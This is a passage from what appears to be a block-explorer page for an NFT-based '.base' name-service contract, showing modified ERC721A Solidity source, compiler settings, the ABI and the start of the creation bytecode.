IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: erc721a/contracts/IERC721A.sol // ERC721A Contracts v3.3.0 // Creator: Chiru Labs pragma solidity ^0.8.4; /** * @dev Interface of an ERC721A compliant contract. */ interface IERC721A is IERC721, IERC721Metadata { /** * The caller must own the token or be an approved operator. */ error ApprovalCallerNotOwnerNorApproved(); /** * The token does not exist. */ error ApprovalQueryForNonexistentToken(); /** * The caller cannot approve to their own address. */ error ApproveToCaller(); /** * The caller cannot approve to the current owner. */ error ApprovalToCurrentOwner(); /** * Cannot query the balance for the zero address. */ error BalanceQueryForZeroAddress(); /** * Cannot mint to the zero address. */ error MintToZeroAddress(); /** * The quantity of tokens minted must be more than zero. */ error MintZeroQuantity(); /** * The token does not exist. */ error OwnerQueryForNonexistentToken(); /** * The caller must own the token or be an approved operator. */ error TransferCallerNotOwnerNorApproved(); /** * The token must be owned by `from`. */ error TransferFromIncorrectOwner(); /** * Cannot safely transfer to a contract that does not implement the ERC721Receiver interface. */ error TransferToNonERC721ReceiverImplementer(); /** * Cannot transfer to the zero address. */ error TransferToZeroAddress(); /** * The token does not exist. */ error URIQueryForNonexistentToken(); // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } /** * @dev Returns the total amount of tokens stored by the contract. * * Burned tokens are calculated here, use `_totalMinted()` if you want to count just minted tokens. */ function totalSupply() external view returns (uint256); } // File: erc721a/contracts/ERC721A.sol // ERC721A Contracts v3.3.0 // Creator: Chiru Labs pragma solidity ^0.8.4; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721A { using Address for address; using Strings for uint256; // The tokenId of the next token to be minted. uint256 internal _currentIndex; mapping(uint => string) public tokenIDandAddress; mapping(string => uint) public tokenAddressandID; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 1; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr) if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenIDandAddress[tokenId])) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner) if(!isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract()) if(!_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } /** * @dev Equivalent to `_safeMint(to, quantity, '')`. */ function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex < end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex < end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint(address to, uint256 quantity) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex < end); _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Equivalent to `_burn(tokenId, false)`. */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"IS_SALE_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_name","type":"string"}],"name":"_checkName","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowListSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowlistAddresses","outputs":[{"internalType":"uint64","name":"","type":"uint64"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"_proof","type":"bytes32[]"}],"name":"checkAllowlist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"string","name":"","type":"string"}],"name":"dataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"Area","type":"string"}],"name":"getDataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"lastAddresses","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"string","name":"new_name","type":"string"}],"name":"namediff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"primaryAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref_discount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref_owner","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ref_address","type":"address"},{"internalType":"string","name":"name","type":"string"}],"name":"register","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"}],"name":"registerSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"resolveAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"address","name":"newresolve","type":"address"}],"name":"setAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"allwchr","type":"bytes"}],"name":"setAllowChars","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"customBaseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"setArea","type":"string"},{"internalType":"string","name":"newDatas","type":"string"}],"name":"setDataAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxCharSize_","type":"uint256"}],"name":"setMaxCharSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newMerkleRoot","type":"bytes32"}],"name":"setMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newMerkleRoot","type":"bytes32"},{"internalType":"string","name":"name","type":"string"},{"internalType":"uint256","name":"_cost","type":"uint256"}],"name":"setMerkleRootSubdomain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"customPrice","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"name","type":"string"}],"name":"setPrimaryAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ref_","type":"uint256"},{"internalType":"uint256","name":"ref_owner_","type":"uint256"},{"internalType":"uint256","name":"ref_discount_","type":"uint256"},{"internalType":"uint256","name":"subdomains_fee_","type":"uint256"}],"name":"setRefSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"saleIsActive","type":"bool"}],"name":"setSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"saleIsActive","type":"bool"},{"internalType":"uint256","name":"customPrice","type":"uint256"},{"internalType":"string","name":"name","type":"string"}],"name":"setSubdomainSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_allowList","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_allowList_cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"address","name":"","type":"address"}],"name":"subDomains_allowlistAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_publicSale","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"subdomains_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"tokenAddressandID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokenIDandAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwnerName","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60c0604052601960809081527f68747470733a2f2f626173652d656e732e636f6d2f6170692f0000000000000060a0526015906200003e9082620005e4565b506040805180820190915260058152642e6261736560d81b60208201526016906200006a9082620005e4565b506617cd9d4ffec0006017556019805460ff191681556014601a819055601b829055601c91909155600a601d55601e5560408051606081019091526026808252620046396020830139601f90620000c29082620005e4565b50348015620000d057600080fd5b506040518060400160405280601c81526020017f62617365454e5320282e6261736529204e616d65205365727669636500000000815250604051806040016040528060058152602001642e6261736560d81b8152508160049081620001369190620005e4565b506005620001458282620005e4565b50506001600055506200015833620001fb565b6001600b81905560408051808201825260048152636261736560e01b602080830191909152600080548152939052912090620001959082620005e4565b5060005460408051636261736560e01b808252600260048084019190915283516024938190038401812095909555908452600e9084015290519182900301902080546001600160a01b03191633908117909155620001f59060016200024d565b62000756565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6200026f8282604051806020016040528060008152506200027360201b60201c565b5050565b6000546001600160a01b0384166200029d57604051622e076360e81b815260040160405180910390fd5b82600003620002bf5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038416600081815260076020908152604080832080546001600160801b031981166001600160401b038083168b018116918217680100000000000000006001600160401b031990941690921783900481168b0181169092021790915585845260068352922080546001600160e01b0319168417600160a01b4290941693909302929092179091558291828601916200036891906200043c811b6200285617901c565b15620003e7575b60405182906001600160a01b0388169060009060008051602062004619833981519152908290a46001820191620003ac906000908890876200044b565b620003ca576040516368d2bf6b60e11b815260040160405180910390fd5b8082106200036f578260005414620003e157600080fd5b6200041c565b5b6040516001830192906001600160a01b0388169060009060008051602062004619833981519152908290a4808210620003e8575b50600090815562000436908583866001600160e01b038516565b50505050565b6001600160a01b03163b151590565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a029062000482903390899088908890600401620006b0565b6020604051808303816000875af1925050508015620004c0575060408051601f3d908101601f19168201909252620004bd9181019062000723565b60015b62000522573d808015620004f1576040519150601f19603f3d011682016040523d82523d6000602084013e620004f6565b606091505b5080516000036200051a576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050949350505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200056a57607f821691505b6020821081036200058b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005df57600081815260208120601f850160051